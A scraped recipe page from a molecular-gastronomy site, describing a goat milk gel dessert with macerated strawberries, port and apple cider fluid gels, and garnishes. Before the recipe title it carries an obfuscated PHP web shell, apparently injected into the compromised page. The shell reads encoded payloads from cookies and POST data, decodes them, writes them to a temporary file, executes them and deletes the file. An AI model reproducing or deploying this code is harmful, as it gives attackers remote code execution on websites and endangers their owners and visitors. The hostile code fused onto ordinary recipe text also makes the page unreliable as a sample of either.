$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();} Goat Milk Gel, Strawberries, Port, Apple Cider | Molecular Recipes
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19Jan/15

Goat Milk Gel, Strawberries, Port, Apple Cider

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A refreshing dessert with goat milk gel, macerated strawberries, port wine fluid gel, apple cider fluid gel, powdered blueberries, candied pecans and cilantro. A perfect combination of flavors and textures!

For the goat milk gel we use iota carrageenan, a great hydrocolloid to produce gels and thicken dairy products. The final texture is smooth and soft. For this recipe we experimented with other hydrocolloids  and combinations but 1.5% iota carrageenan was our favorite. The others were good too and for other applications they may be a good option.

Goat milk gel with iota carrageenan top view

Using 0.25% iota carrageenan and 0.25% kappa carrageenan, resulted in a very smooth and brittle gel. With 0.2% kappa carrageenan and 0.4% locust bean gum, the goat milk gel was not as smooth but was softer in the mouth.

Goat milk gel with iota carrageenan side

goat-milk-zoom-fluid-port

goat-milk-middle

goat-milk-hill

Goat Milk Gel

-300 g goat milk

- 55 g sugar

- 1.7 g salt

- 10 cloves

- 4.5 g iota carrageenan

Macerated Strawberries

- 200 g fresh strawberries, clean and sliced

- 150 g water

- 150 g sugar

- 12 g citric acid

Port Wine Fluid Gel

Get Port Wine recipe here 

Apple Cider Fluid Gel

- 250 g (8.8 oz) reduced apple cider (start with 500 g and reduce it in half)

- 4 g (1.6%) agar agar

Garnish

- Cilantro leaves

- Freeze-dried blueberries, processed into powder

- Caramelized pecans, chopped

Preparation

Goat Milk Gel

1- In a medium pot, heat the goat milk, sugar, salt and cloves until it starts simmering.

2- Remove from heat, cover and let infuse for 30 min.

3- Assemble 9 EasyMould Round molds in tray.

4- Remove cloves and blend iota carrageenan using an immersion blender.

5- Heat mixture until it reaches 80 °C (176 °F), whisking occasionally.

6- Pour into the molds.

Macerated Strawberries

1- In a small pot, heat the water, sugar and citric acid to make a syrup.

2- Let it cool.

3- Place the sliced strawberries in a bowl and cover with the syrup.

4- Let them macerate for 30 minutes in the fridge.

Apple Cider Fluid Gel

1- In a small pan over medium heat, reduce 500 g  of apple cider by 1/2. Let it cool.

2- Add the agar agar and bring to boil. Whisk occasionally to make sure the agar agar is dispersed and fully hydrated.

2- Pour the liquid in a container and let it set.

3- Cut the agar gel in small cubes.

4- Blend the gel cubes thoroughly using an immersion blender until smooth.

5- Pass the fluid gel through a fine sieve.

6- Store in squeeze bottle in the fridge until ready to use.

Assemble and Serve

goat-milk-angle

1- Place 2 or 3 goat milk gel cylinders on serving dish.

2- Add some macerated strawberries.

3- Place a spoon of chopped candied pecans next to one of the goat milk cylinders.

4- On one side of the plate, make a line of blueberry powder.

5- Add a few dollops of apple cider and port fluid gels scattered on the plate.

6- Garnish with a few small cilantro leaves by "planting" them in fluid gel dollops.

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